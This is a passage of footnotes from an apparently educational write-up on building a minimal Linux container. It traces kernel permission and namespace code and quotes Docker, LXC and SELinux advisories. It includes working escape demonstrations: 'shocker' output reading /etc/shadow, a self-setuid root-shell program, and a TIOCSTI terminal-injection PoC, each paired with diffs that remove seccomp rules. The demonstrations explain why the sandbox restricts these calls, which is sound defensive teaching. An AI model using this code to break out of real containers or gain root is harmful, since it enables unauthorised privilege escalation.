=> filtering syscalls...done.
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]

<enter>

[*] Resolving 'etc/shadow'
[-] open_by_handle_at: Operation not permitted
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_capdacreadsearch -m . -u 0 -c ./shocker
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.Jto0pj...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]

<enter>

[*] Resolving 'etc/shadow'
[*] Found .
[*] Found ..
[*] Found lib64
[*] Found sys
[*] Found run
[*] Found sbin
[*] Found opt
[*] Found tmp
[*] Found lost+found
[*] Found dev
[*] Found mnt
[*] Found root
[*] Found lib
[*] Found boot
[*] Found home
[*] Found usr
[*] Found bin
[*] Found srv
[*] Found etc
[+] Match: etc ino=4325377
[*] Brute forcing remaining 32bit. This can take a while...
[*] (etc) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x01, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'shadow'
[*] Found binfmt.d
[*] Found ts.conf
[*] Found nscd.conf
[*] Found dhcpcd.duid
[*] Found sensors3.conf
[*] Found libao.conf
[*] Found .
[*] Found motd
[*] Found gdb
[*] Found ..
[*] Found qemu
[*] Found lirc
[*] Found healthd.conf
[*] Found subuid
[*] Found locale.gen.pacnew
[*] Found gtk-3.0
[*] Found idn.conf
[*] Found wgetrc
[*] Found mime.types
[*] Found texmf
[*] Found request-key.conf
[*] Found xinetd.d
[*] Found ssl
[*] Found ifplugd
[*] Found mpd.conf
[*] Found gimp
[*] Found logrotate.d
[*] Found dhcpcd.conf
[*] Found trusted-key.key
[*] Found resolv.conf
[*] Found gemrc
[*] Found libpaper.d
[*] Found hostname
[*] Found kernel
[*] Found audit
[*] Found request-key.d
[*] Found subgid
[*] Found services
[*] Found protocols
[*] Found profile.d
[*] Found Muttrc.dist
[*] Found audisp
[*] Found default
[*] Found resolv.conf.bak
[*] Found ufw
[*] Found man_db.conf
[*] Found gconf
[*] Found geoclue
[*] Found netconfig
[*] Found nanorc
[*] Found environment
[*] Found crypttab
[*] Found brltty.conf
[*] Found logrotate.conf
[*] Found goaccess.conf
[*] Found nsswitch.conf
[*] Found shadow
[+] Match: shadow ino=4334485
[*] Brute forcing remaining 32bit. This can take a while...
[*] (shadow) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x95, 0x23, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0x95, 0x23, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /etc/shadow output follows:
[redacted]
=> cleaning cgroups...done.
36
int generic_permission(struct inode *inode, int mask)
{
	int ret;

	/*
	 * Do the basic permission checks.
	 */
	ret = acl_permission_check(inode, mask);
	if (ret != -EACCES)
		return ret;

	if (S_ISDIR(inode->i_mode)) {
		/* DACs are overridable for directories */
		if (capable_wrt_inode_uidgid(inode, CAP_DAC_OVERRIDE))
			return 0;
		if (!(mask & MAY_WRITE))
			if (capable_wrt_inode_uidgid(inode,
						     CAP_DAC_READ_SEARCH))
				return 0;
		return -EACCES;
	}
	/*
	 * Read/write DACs are always overridable.
	 * Executable DACs are overridable when there is
	 * at least one exec bit set.
	 */
	if (!(mask & MAY_EXEC) || (inode->i_mode & S_IXUGO))
		if (capable_wrt_inode_uidgid(inode, CAP_DAC_OVERRIDE))
			return 0;

	/*
	 * Searching includes executable on directories, else just read.
	 */
	mask &= MAY_READ | MAY_WRITE | MAY_EXEC;
	if (mask == MAY_READ)
		if (capable_wrt_inode_uidgid(inode, CAP_DAC_READ_SEARCH))
			return 0;

	return -EACCES;
}
37

man 5 acct gives more useful information about this system than man 2 acct.

38

CAP_IPC_OWNER is only used in ipcperms:

/**
 * ipcperms - check ipc permissions
 * @ns: ipc namespace
 * @ipcp: ipc permission set
 * @flag: desired permission set
 *
 * Check user, group, other permissions for access
 * to ipc resources. return 0 if allowed
 *
 * @flag will most probably be 0 or S_...UGO from <linux/stat.h>
 */
int ipcperms(struct ipc_namespace *ns, struct kern_ipc_perm *ipcp, short flag)
{
	kuid_t euid = current_euid();
	int requested_mode, granted_mode;

	audit_ipc_obj(ipcp);
	requested_mode = (flag >> 6) | (flag >> 3) | flag;
	granted_mode = ipcp->mode;
	if (uid_eq(euid, ipcp->cuid) ||
	    uid_eq(euid, ipcp->uid))
		granted_mode >>= 6;
	else if (in_group_p(ipcp->cgid) || in_group_p(ipcp->gid))
		granted_mode >>= 3;
	/* is there some bit set in requested_mode but not in granted_mode? */
	if ((requested_mode & ~granted_mode & 0007) &&
	    !ns_capable(ns->user_ns, CAP_IPC_OWNER))
		return -1;

	return security_ipc_permission(ipcp, flag);
}

It's used in the following places immediately after looking up the IPC object in the IPC namespace:

ipc_check_perms is another a thin layer over it that doesn't check the IPC namespace.

/**
 * ipc_check_perms - check security and permissions for an ipc object
 * @ns: ipc namespace
 * @ipcprgre: ipc permission set
 * @ops: the actual security routine to call
 * @params: its parameters
 *
 * This routine is called by sys_msgget(), sys_semget() and sys_shmget()
 * when the key is not IPC_PRIVATE and that key already exists in the
 * ds IDR.
 *
 * On success, the ipc id is returned.
 *
 * It is called with ipc_ids.rwsem and ipcp->lock held.
 */
static int ipc_check_perms(struct ipc_namespace *ns,
			   struct kern_ipc_perm *ipcp,
			   const struct ipc_ops *ops,
			   struct ipc_params *params)
{
	int err;

	if (ipcperms(ns, ipcp, params->flg))
		err = -EACCES;
	else {
		err = ops->associate(ipcp, params->flg);
		if (!err)
			err = ipcp->id;
	}

	return err;
}

which is called by ipcget_public.

/**
 * ipcget_public - get an ipc object or create a new one
 * @ns: ipc namespace
 * @ids: ipc identifier set
 * @ops: the actual creation routine to call
 * @params: its parameters
 *
 * This routine is called by sys_msgget, sys_semget() and sys_shmget()
 * when the key is not IPC_PRIVATE.
 * It adds a new entry if the key is not found and does some permission
 * / security checkings if the key is found.
 *
 * On success, the ipc id is returned.
 */
static int ipcget_public(struct ipc_namespace *ns, struct ipc_ids *ids,
		const struct ipc_ops *ops, struct ipc_params *params)
{
	struct kern_ipc_perm *ipcp;
	int flg = params->flg;
	int err;

	/*
	 * Take the lock as a writer since we are potentially going to add
	 * a new entry + read locks are not "upgradable"
	 */
	down_write(&ids->rwsem);
	ipcp = ipc_findkey(ids, params->key);
	if (ipcp == NULL) {
		/* key not used */
		if (!(flg & IPC_CREAT))
			err = -ENOENT;
		else
			err = ops->getnew(ns, params);
	} else {
		/* ipc object has been locked by ipc_findkey() */

		if (flg & IPC_CREAT && flg & IPC_EXCL)
			err = -EEXIST;
		else {
			err = 0;
			if (ops->more_checks)
				err = ops->more_checks(ipcp, params);
			if (!err)
				/*
				 * ipc_check_perms returns the IPC id on
				 * success
				 */
				err = ipc_check_perms(ns, ipcp, ops, params);
		}
		ipc_unlock(ipcp);
	}
	up_write(&ids->rwsem);

	return err;
}

ipcget_public handles both creation and accessing for non-IPC_PRIVATE requests. It doesn't check IPC namespace for existing IPC objects. It's called by ipc_get if IPC_PRIVATE is not set:

/**
 * ipcget - Common sys_*get() code
 * @ns: namespace
 * @ids: ipc identifier set
 * @ops: operations to be called on ipc object creation, permission checks
 *       and further checks
 * @params: the parameters needed by the previous operations.
 *
 * Common routine called by sys_msgget(), sys_semget() and sys_shmget().
 */
int ipcget(struct ipc_namespace *ns, struct ipc_ids *ids,
			const struct ipc_ops *ops, struct ipc_params *params)
{
	if (params->key == IPC_PRIVATE)
		return ipcget_new(ns, ids, ops, params);
	else
		return ipcget_public(ns, ids, ops, params);
}

whcih in turn is called in the following places:

But shmget, semget, and msgget are all part of the System V IPC set, and in order to use them you need to call shmat, semop / semtimedop, and msgsend / msgrcv~, all only work for objects in the namespace:

shmat immediately calls do_shmat, which is listed above;

SYSCALL_DEFINE3(shmat, int, shmid, char __user *, shmaddr, int, shmflg)
{
	unsigned long ret;
	long err;

	err = do_shmat(shmid, shmaddr, shmflg, &ret, SHMLBA);
	if (err)
		return err;
	force_successful_syscall_return();
	return (long)ret;
}

semop calls semtimedop:

SYSCALL_DEFINE3(semop, int, semid, struct sembuf __user *, tsops,
		unsigned, nsops)
{
	return sys_semtimedop(semid, tsops, nsops, NULL);
}
SYSCALL_DEFINE4(semtimedop, int, semid, struct sembuf __user *, tsops,
		unsigned, nsops, const struct timespec __user *, timeout)
{
	/* ... */
	ns = current->nsproxy->ipc_ns;

	/* ...
	   allocate some space for things.
	   ...
	*/

	sma = sem_obtain_object_check(ns, semid);

	/* ... */
}

msgsnd and msgrcv immediately call do_msgsnd and do_msgrcv, which are also listed above:

SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz,
		int, msgflg)
{
	long mtype;

	if (get_user(mtype, &msgp->mtype))
		return -EFAULT;
	return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg);
}
SYSCALL_DEFINE5(msgrcv, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz,
		long, msgtyp, int, msgflg)
{
	return do_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg, do_msg_fill);
}
39

We can see that they're effectively namespaced:

/* Local Variables: */
/* compile-command: "gcc -Wall -Werror -static enumerate_net_devs.c \*/
/*                   -o enumerate_net_devs" */
/* End: */
#include <stdio.h>
#include <net/if.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

int main (int argc, char **argv)
{
	int sock = socket(PF_LOCAL, SOCK_SEQPACKET, 0);
	for (size_t i = 0; i < 100; i++) {
		struct ifreq req = { .ifr_ifindex = i };
		if (!ioctl(sock, SIOCGIFNAME, &req))
			printf("%3lu: %s\n", i, req.ifr_name);
	}
	return 0;
}
[lizzie@empress l-c-i-500-l]$sudo ./contained -m . -u 0 -c ./enumerate_net_devs
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.7npCN7...done.
=> trying a user namespace...writing /proc/1750/uid_map...writing
/proc/1750/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.  1: lo
=> cleaning cgroups...done.
40

Network device datastructures are created inside of the kernel, not in userspace with mknod.

For example, ip link add dummy0 type dummy does this:

  • Opens a NETLINK_ROUTE netlink socket.
  • Sends a RTM_NEWLINK message over it.
  • Code in net/core/rtnetlink.c@c8d2bc dispatches the message to rtnl_create_link, which does this;

    struct net_device *rtnl_create_link(struct net *net,
    	const char *ifname, unsigned char name_assign_type,
    	const struct rtnl_link_ops *ops, struct nlattr *tb[])
    {
    	int err;
    	struct net_device *dev;
    	unsigned int num_tx_queues = 1;
    	unsigned int num_rx_queues = 1;
    
    	/* ... */
    
    	err = -ENOMEM;
    	dev = alloc_netdev_mqs(ops->priv_size, ifname, name_assign_type,
    			       ops->setup, num_tx_queues, num_rx_queues);
    	if (!dev)
    		goto err;
    
    	/* ... */
    }
    
  • alloc_netdev_mqs calls the setup function:

    /**
     *	alloc_netdev_mqs - allocate network device
     *	@sizeof_priv:		size of private data to allocate space for
     *	@name:			device name format string
     *	@name_assign_type:	origin of device name
     *	@setup:			callback to initialize device
     *	@txqs:			the number of TX subqueues to allocate
     *	@rxqs:			the number of RX subqueues to allocate
     *
     *	Allocates a struct net_device with private data area for driver use
     *	and performs basic initialization.  Also allocates subqueue structs
     *	for each queue on the device.
     */
    struct net_device *alloc_netdev_mqs(int sizeof_priv, const char *name,
    		unsigned char name_assign_type,
    		void (*setup)(struct net_device *),
    		unsigned int txqs, unsigned int rxqs)
    {
    	struct net_device *dev;
    	size_t alloc_size;
    	struct net_device *p;
    
    	/* ... */
    
    	setup(dev);
    
    	/* ... */
    }
    
  • dummy_setup gets called, since it's the .setup of a rtnl_link_ops:

    static struct rtnl_link_ops dummy_link_ops __read_mostly = {
    	.kind		= DRV_NAME,
    	.setup		= dummy_setup,
    	.validate	= dummy_validate,
    };
    
    
    static void dummy_setup(struct net_device *dev)
    {
    	ether_setup(dev);
    
    	/* Initialize the device structure. */
    	dev->netdev_ops = &dummy_netdev_ops;
    	dev->ethtool_ops = &dummy_ethtool_ops;
    	dev->destructor = free_netdev;
    
    	/* Fill in device structure with ethernet-generic values. */
    	dev->flags |= IFF_NOARP;
    	dev->flags &= ~IFF_MULTICAST;
    	dev->priv_flags |= IFF_LIVE_ADDR_CHANGE | IFF_NO_QUEUE;
    	dev->features	|= NETIF_F_SG | NETIF_F_FRAGLIST;
    	dev->features	|= NETIF_F_ALL_TSO | NETIF_F_UFO;
    	dev->features	|= NETIF_F_HW_CSUM | NETIF_F_HIGHDMA | NETIF_F_LLTX;
    	dev->features	|= NETIF_F_GSO_ENCAP_ALL;
    	dev->hw_features |= dev->features;
    	dev->hw_enc_features |= dev->features;
    	eth_hw_addr_random(dev);
    }
    
    

In other words, there's no equivalent of userspace major / minor device numbers for network devices.

41
SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr,
		unsigned long, data)
{
	struct task_struct *child;
	long ret;

	if (request == PTRACE_TRACEME) {
		ret = ptrace_traceme();
		if (!ret)
			arch_ptrace_attach(current);
		goto out;
	}

	child = ptrace_get_task_struct(pid);
	if (IS_ERR(child)) {
		ret = PTR_ERR(child);
		goto out;
	}
	[...]
}

which calls ptrace_get_task_struct:

static struct task_struct *ptrace_get_task_struct(pid_t pid)
{
	struct task_struct *child;

	rcu_read_lock();
	child = find_task_by_vpid(pid);
	if (child)
		get_task_struct(child);
	rcu_read_unlock();

	if (!child)
		return ERR_PTR(-ESRCH);
	return child;
}

…which in turn calls find_task_by_vpid

struct task_struct *find_task_by_vpid(pid_t vnr)
{
	return find_task_by_pid_ns(vnr, task_active_pid_ns(current));
}

which calls find_task_by_pid_ns:

struct task_struct *find_task_by_pid_ns(pid_t nr, struct pid_namespace *ns)
{
	RCU_LOCKDEP_WARN(!rcu_read_lock_held(),
			 "find_task_by_pid_ns() needs rcu_read_lock() protection");
	return pid_task(find_pid_ns(nr, ns), PIDTYPE_PID);
}

which, finally, calls find_pid_ns. You can see here that it only finds a stuct pid * that shares the pid namespace of the current task.

struct pid *find_pid_ns(int nr, struct pid_namespace *ns)
{
	struct upid *pnr;

	hlist_for_each_entry_rcu(pnr,
			&pid_hash[pid_hashfn(nr, ns)], pid_chain)
		if (pnr->nr == nr && pnr->ns == ns)
			return container_of(pnr, struct pid,
					numbers[ns->level]);

	return NULL;
}
42

The kill syscalls call kill_something_info, which follows a dense call chain ( kill_pid_info -> group_send_sig_info -> do_send_sig_info -> send_sig_info -> send_signal -> __send_signal) to eventually end up in __send_signal, which does respect user namespaces:

static int __send_signal(int sig, struct siginfo *info, struct task_struct *t,
			int group, int from_ancestor_ns)
{
	/* ... */
	q = __sigqueue_alloc(sig, t, GFP_ATOMIC | __GFP_NOTRACK_FALSE_POSITIVE,
		override_rlimit);
	if (q) {
		list_add_tail(&q->list, &pending->list);
		switch ((unsigned long) info) {
		case (unsigned long) SEND_SIG_NOINFO:
			q->info.si_signo = sig;
			q->info.si_errno = 0;
			q->info.si_code = SI_USER;
			q->info.si_pid = task_tgid_nr_ns(current,
							task_active_pid_ns(t));
			q->info.si_uid = from_kuid_munged(current_user_ns(), current_uid());
			break;
		case (unsigned long) SEND_SIG_PRIV:
			q->info.si_signo = sig;
			q->info.si_errno = 0;
			q->info.si_code = SI_KERNEL;
			q->info.si_pid = 0;
			q->info.si_uid = 0;
			break;
		default:
			copy_siginfo(&q->info, info);
			if (from_ancestor_ns)
				q->info.si_pid = 0;
			break;
		}

		userns_fixup_signal_uid(&q->info, t);
	}
	/*...*/
}

43

Quoted man 7 capabilities, again:

	CAP_SETGID
		Make  arbitrary  manipulations   of  process  GIDs  and
		supplementary GID  list; forge GID when  passing socket
		credentials via  UNIX domain sockets; write  a group ID
		mapping in a user namespace (see user_namespaces(7)).
	CAP_SETUID
		Make   arbitrary   manipulations    of   process   UIDs
		(setuid(2),  setreuid(2),  setresuid(2),  setfsuid(2));
		forge  UID when  passing  socket  credentials via  UNIX
		domain  sockets; write  a  user ID  mapping  in a  user
		namespace (see user_namespaces(7)).
44

Brad Spengler's "False Boundaries and Arbitrary Code Execution", again

CAP_SYS_CHROOT: generic: From Julien Tinnes/Chris Evans: if you have write access to the same filesystem as a suid root binary, set up a chroot environment with a backdoored libc and then execute a hardlinked suid root binary within your chroot and gain full root privileges through your backdoor

45

man 2 chroot:

This call does not change the current working directory, so that after the call '.' can be outside the tree rooted at '/'. In particular, the superuser can escape from a "chroot jail" by doing:

mkdir foo; chroot foo; cd ..
46

There have been issues with unpacking containers in Docker and LXC:

=====================================================
[CVE-2014-6407] Archive extraction allowing host privilege escalation
=====================================================
Severity: Critical
Affects: Docker up to 1.3.1

The Docker engine, up to and including version 1.3.1, was vulnerable to
extracting files to arbitrary paths on the host during ‘docker pull’ and
‘docker load’ operations. This was caused by symlink and hardlink
traversals present in Docker's image extraction. This vulnerability could
be leveraged to perform remote code execution and privilege escalation.
====================================================================

[CVE-2015-3629] Symlink traversal on container respawn allows local
privilege escalation

====================================================================

Libcontainer version 1.6.0 introduced changes which facilitated a mount
namespace breakout upon respawn of a container. This allowed malicious
images to write files to the host system and escape containerization.
* Roman Fiedler discovered a directory traversal flaw that allows
  arbitrary file creation as the root user. A local attacker must set up
  a symlink at /run/lock/lxc/var/lib/lxc/<CONTAINER>, prior to an admin
  ever creating an LXC container on the system. If an admin then creates
  a container with a name matching <CONTAINER>, the symlink will be
  followed and LXC will create an empty file at the symlink's target as
  the root user.
  - CVE-2015-1331
  - Affects LXC 1.0.0 and higher
  - https://launchpad.net/bugs/1470842
  - https://github.com/lxc/lxc/commit/72cf81f6a3404e35028567db2c99a90406e9c6e6 (master)
  - https://github.com/lxc/lxc/commit/61ecf69d7834921cc078e14d1b36c459ad8f91c7 (stable-1.1)
  - https://github.com/lxc/lxc/commit/f547349ea7ef3a6eae6965a95cb5986cd921bd99 (stable-1.0)

* Roman Fiedler discovered a flaw that allows processes intended to be
  run inside of confined LXC containers to escape their AppArmor or
  SELinux confinement. A malicious container can create a fake proc
  filesystem, possibly by mounting tmpfs on top of the container's
  /proc, and wait for a lxc-attach to be ran from the host environment.
  lxc-attach incorrectly trusts the container's
  /proc/PID/attr/{current,exec} files to set up the AppArmor profile and
  SELinux domain transitions which may result in no confinement being
  used.
  - CVE-2015-1334
  - Affects LXC 0.9.0 and higher
  - https://launchpad.net/bugs/1475050
  - https://github.com/lxc/lxc/commit/5c3fcae78b63ac9dd56e36075903921bd9461f9e (master)
  - https://github.com/lxc/lxc/commit/659e807c8dd1525a5c94bdecc47599079fad8407 (stable-1.1)
  - https://github.com/lxc/lxc/commit/15ec0fd9d490dd5c8a153401360233c6ee947c24 (stable-1.0)

Tyler

These are all really interesting! I want to write more about them.

47

The Docker seccomp policy doesn't include an explicit blacklist, which makes it a little hard to follow, so I wrote code to find it.

    #!/usr/bin/env python3

    import gzip
    import requests
    import re
    import sys

    url = "https://raw.githubusercontent.com/docker/docker/5ff21add06ce0e502b41a194077daad311901996/profiles/seccomp/default.json"

    conditional = set()
    allowed = set()
    disallowed = set()

    for entry in requests.get(url).json()["syscalls"]:
        if entry["args"]:
           conditional |= set(entry["names"])
        else:
            allowed |= set(entry["names"])

    manpage = "/usr/share/man/man2/syscalls.2.gz"

    with gzip.open(manpage, "r") as f:
        ready = False
        for _line in f:
            line = _line.decode("utf-8")
            # table end
            if ready and line == ".TE\n":
                break
            match = re.match(r"\\fB(.+?)\\fP(.+)", line)
            if match:
                if match.group(1) == "System call":
                    ready = True
                elif (match.group(1) not in allowed
                      and match.group(1) not in conditional):
                    disallowed.add(match.group(1))

    print("Conditionally allowed:")
    for c in sorted(conditional):
        sys.stdout.write("~%s~, " % c)
    print("\n\nDisallowed:")
    for d in sorted(disallowed):
        sys.stdout.write("~%s~, " % d)
    sys.stdout.write("\n")

Conditionally allowed: clone, personality,

Disallowed: _sysctl, add_key, alloc_hugepages, bdflush, clock_adjtime, clock_settime, create_module, free_hugepages, get_kernel_syms, get_mempolicy, getpagesize, kern_features, kexec_file_load, kexec_load, keyctl, mbind, migrate_pages, move_pages, nfsservctl, nice, oldfstat, oldlstat, oldolduname, oldstat, olduname, pciconfig_iobase, pciconfig_read, pciconfig_write, perfctr, perfmonctl, pivot_root, ppc_rtas, preadv2, pwritev2, quotactl, readdir, request_key, set_mempolicy, setup, sgetmask, sigaction, signal, sigpending, sigprocmask, sigsuspend, spu_create, spu_run, ssetmask, subpage_prot, swapoff, swapon, sync_file_range2, sysfs, uselib, userfaultfd, ustat, utrap_install, vm86, vm86old

48
/* -*- compile-command: "gcc -Wall -Werror -static self_setuid.c -o self_setuid" -*- */
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

int main (int argc, char **argv)
{
	if (argc == 2 && !strcmp(argv[1], "shell")) {
		if (setresuid(0, 0, 0)) {
			fprintf(stderr, "++ setresuid(0, 0, 0) failed: %m\n");
			return 1;
		}
		return system("sh");
	} else {
		if (chown(argv[0], 0, 0)) {
			fprintf(stderr, "++ chown failed: %m\n");
			return 1;
		}
		int self_fd = 0;
		if (!(self_fd = open(argv[0], 0))) {
			fprintf(stderr, "++ fopen failed: %m\n");
			return 1;
		}
		if (chmod(argv[0], S_ISUID | S_IXOTH)
		    && fchmod(self_fd, S_ISUID | S_IXOTH)
		    && fchmodat(AT_FDCWD, argv[0], S_ISUID | S_IXOTH, 0)) {
			fprintf(stderr, "++ chmod  / fchmod / fchmodat failed: %m\n");
			close(self_fd);
			return 1;
		}
		close(self_fd);
		return 0;
	}
}
diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..b471a69 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -151,18 +151,6 @@ int syscalls()
 	scmp_filter_ctx ctx = NULL;
 	fprintf(stderr, "=> filtering syscalls...");
 	if (!(ctx = seccomp_init(SCMP_ACT_ALLOW))
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(chmod), 1,
-				SCMP_A1(SCMP_CMP_MASKED_EQ, S_ISUID, S_ISUID))
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(chmod), 1,
-				SCMP_A1(SCMP_CMP_MASKED_EQ, S_ISGID, S_ISGID))
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(fchmod), 1,
-				SCMP_A1(SCMP_CMP_MASKED_EQ, S_ISUID, S_ISUID))
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(fchmod), 1,
-				SCMP_A1(SCMP_CMP_MASKED_EQ, S_ISGID, S_ISGID))
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(fchmodat), 1,
-				SCMP_A2(SCMP_CMP_MASKED_EQ, S_ISUID, S_ISUID))
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(fchmodat), 1,
-				SCMP_A2(SCMP_CMP_MASKED_EQ, S_ISGID, S_ISGID))
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(unshare), 1,
 				SCMP_A0(SCMP_CMP_MASKED_EQ, CLONE_NEWUSER, CLONE_NEWUSER))
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(clone), 1,
[lizzie@empress l-c-i-500-l]$sudo ./contained -m . -u 0 -c ./self_setuid
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.EXwjdL...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.  ++ chmod / fchmod / fchmodat failed:
Operation not permitted
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$sudo ./contained.allow_chmod -m . -u 0 -c ./self_setuid
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.35HO0W...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$./self_setuid shell
sh-4.3#whoami
root
sh-4.3# exit
[lizzie@empress l-c-i-500-l]$rm ./self_setuid
49

I heard about this pretty recently because of CVE-2016-7545, an SELinux bug:

Hi,

When executing a program via the SELinux sandbox, the nonpriv session
can escape to the parent session by using the TIOCSTI ioctl to push
characters into the terminal's input buffer, allowing an attacker to
escape the sandbox.

$ cat test.c
#include <unistd.h>
#include <sys/ioctl.h>

int main()
{
     char *cmd = "id\n";
     while(*cmd)
      ioctl(0, TIOCSTI, cmd++);
     execlp("/bin/id", "id", NULL);
}

$ gcc test.c -o test
$ /bin/sandbox ./test
id
uid=1000 gid=1000 groups=1000
context=unconfined_u:unconfined_r:sandbox_t:s0:c47,c176
$ id    <------ did not type this
uid=1000(saken) gid=1000(saken) groups=1000(saken)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Bug report:
https://bugzilla.redhat.com/show_bug.cgi?id=1378577

Upstream fix:
https://marc.info/?l=selinux&m=147465160112766&w=2
https://marc.info/?l=selinux&m=147466045909969&w=2
https://github.com/SELinuxProject/selinux/commit/acca96a135a4d2a028ba9b636886af99c0915379

Federico Bento.
/* -*- compile-command: "gcc -Wall -Werror -static tiocsti.c -o tiocsti" -*- */
/* adapted from http://www.openwall.com/lists/oss-security/2016/09/25/1 */
#include <unistd.h>
#include <sys/ioctl.h>
#include <stdio.h>

int main()
{
     for (char *cmd = "id\n"; *cmd; cmd++) {
	     if (ioctl(STDIN_FILENO, TIOCSTI, cmd)) {
		     fprintf(stderr, "++ ioctl failed: %m\n");
		     return 1;
	     }
     }
     return 0;
}
diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..5fb25bd 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -167,8 +167,6 @@ int syscalls()
 				SCMP_A0(SCMP_CMP_MASKED_EQ, CLONE_NEWUSER, CLONE_NEWUSER))
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(clone), 1,
 				SCMP_A0(SCMP_CMP_MASKED_EQ, CLONE_NEWUSER, CLONE_NEWUSER))
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(ioctl), 1,
-				SCMP_A1(SCMP_CMP_MASKED_EQ, TIOCSTI, TIOCSTI))
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(keyctl), 0)
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(add_key), 0)
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(request_key), 0)
[lizzie@empress l-c-i-500-l]$ sudo ./contained -m . -u 0 -c ./tiocsti 
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.P5QATt...done.
=> trying a user namespace...writing /proc/1819/uid_map...writing
/proc/1819/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.  ++ ioctl failed: Operation not
permitted
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_tiocsti -m . -u 0 -c ./tiocsti 
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.J9mulv...done.
=> trying a user namespace...writing /proc/1865/uid_map...writing
/proc/1865/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
id
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ uid=1000(lizzie) gid=1000(lizzie) groups=1000(lizzie)
50

There's a notion of "user keyrings", that I believe are user-namespaced, but that's it.

	User keyrings
		Each UID known to the kernel has a record that contains
		two  keyrings: The  user keyring  and the  user session
		keyring.  These exist for as  long as the UID record in
		the  kernel exists.   A  link to  the  user keyring  is
		placed in a  new session keyring by  pam_keyinit when a
		new login session is initiated.
51

man 2 seccomp says:

